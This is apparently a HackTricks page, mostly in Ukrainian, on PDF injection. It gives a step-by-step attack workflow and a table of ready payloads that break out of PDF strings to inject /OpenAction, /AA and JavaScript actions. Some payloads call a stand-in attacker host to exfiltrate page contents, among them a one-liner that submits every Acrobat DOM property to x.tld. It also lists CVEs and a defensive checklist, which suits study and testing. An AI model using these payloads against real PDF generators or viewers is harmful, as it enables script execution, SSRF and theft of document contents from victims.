Ін’єкція PDF

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Якщо ваш ввод відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані, щоб виконати JavaScript, здійснити SSRF або викрасти вміст PDF. Синтаксис PDF дуже лояльний — якщо ви зможете вийти з рядка або словника, який вкладає ваш ввід, ви можете додати повністю нові об’єкти (або нові ключі в тому ж об’єкті), які Acrobat/Chrome охоче розберуть. З 2024 року хвиля звітів у bug-bounty показала, що достатньо однієї неекранованої дужки або зворотного слеша для повного виконання скрипта.

TL;DR – Сучасний робочий процес атаки (2024-2026)

  1. Знайдіть будь-яке кероване користувачем значення, яке опиняється всередині (parenthesis string), /URI ( … ) або поля /JS ( … ) у згенерованому PDF.
  2. Впровадьте ) (закриваючи рядок), потім один із приведених нижче примітивів і завершите іншим відкриваючим дужком, щоб синтаксис залишився валідним.
  3. Доставте шкідливий PDF жертві (або на бекенд-сервіс, який автоматично рендерить файл — чудово підходить для blind bugs).
  4. Ваш payload виконується у PDF viewer:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (see CVE-2024-4367)
  • Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with this.getPageNthWord)

Example (annotation link hijack):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Перший ) закриває оригінальний URI-рядок, потім ми додаємо новий словник Action, який Acrobat виконає, коли користувач клацне по посиланню.

Корисні примітиви ін’єкції

МетаPayload SnippetПримітки
JavaScript on open/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Виконується негайно при відкритті документа (працює в Acrobat, не в Chrome).
JavaScript on link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Працює в PDFium & Acrobat якщо ви контролюєте анотацію /Link.
Blind data exfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Комбінуйте з this.getPageNthWord у JS, щоб вкрасти вміст.
Server-Side SSRFSame as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI.Те ж саме, але ціль — внутрішній URL — корисно, коли PDF рендериться бек-офісними сервісами, які підтримують /URI.
Additional Actions (/AA)/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>Прикріплюється до словника Page/Annotation/Form, щоб запуститись при відкритті/фокусі.
Line Break for new objects\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjЯкщо бібліотека дозволяє інжектити символи нового рядка, ви можете створити зовсім нові об’єкти.

Embedded Actions as Injection Targets

PDF viewers treat embedded actions such as /OpenAction and /AA (Additional Actions) as first-class features that can run when a document opens or when a specific event fires. If you can inject into any dictionary that accepts actions (Catalog, Page, Annotation, or Form field), you can graft an /AA tree and trigger JavaScript on open/focus.

Example payload for generator-side object injection (close the original string/dictionary and inject /AA):

) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (

This pattern matches recent jsPDF issues where attacker-controlled input passed into addJS (or certain AcroForm fields) breaks out of the intended JavaScript string and injects an Additional Action dictionary.

Blind Enumeration Trick

Gareth Heyes (PortSwigger) оприлюднив однорядковий скрипт, який перераховує кожен об’єкт у невідомому документі – корисно, коли ви не можете побачити згенерований PDF:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Код ітерує Acrobat DOM і робить зовнішні запити для кожної пари властивість/значення, даючи вам JSON-ish дамп файлу. Див. white-paper “Portable Data exFiltration” для повної техніки.

Реальні уразливості (2023–2026)

  • CVE-2026-25755 – jsPDF addJS PDF object injection: attacker-controlled strings can close the JS literal and inject /AA/O/JavaScript actions that fire on open/focus.
  • CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted /JavaScript action.
  • Bug bounty 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in /URI; report paid $10k after demonstrated SSRF to internal metadata host using file:/// URI.
  • CVE-2023-26155node-qpdf command-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.

Чекліст захисту

  1. Ніколи не конкатенуйте необроблені user input всередині () рядків або імен. Екраніруйте \, (, ) відповідно до §7.3 PDF spec або використовуйте hex-рядки <...>.
  2. Якщо ви будуєте посилання, віддавайте перевагу /URI (https://…), які ви повністю URL-енкодите; блокувати схеми javascript: на клієнтських переглядачах.
  3. Обрізайте або валідуйте словники /OpenAction, /AA (additional actions), /Launch, /SubmitForm та /ImportData при пост-обробці PDF.
  4. На сервері рендеріть неперевірені PDF за допомогою headless converter (наприклад qpdf –decrypt –linearize), який видаляє JavaScript та зовнішні дії.
  5. Тримайте PDF viewers в актуальному стані; PDF.js < 4.2.67 та Acrobat Reader до виправлень липня 2024 дозволяють тривіальне виконання коду.
  6. Якщо ви використовуєте client-side генератори (наприклад jsPDF), ніколи не передавайте неперевірений вхід у addJS або AcroForm сеттери, що опиняються всередині PDF action словників.

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks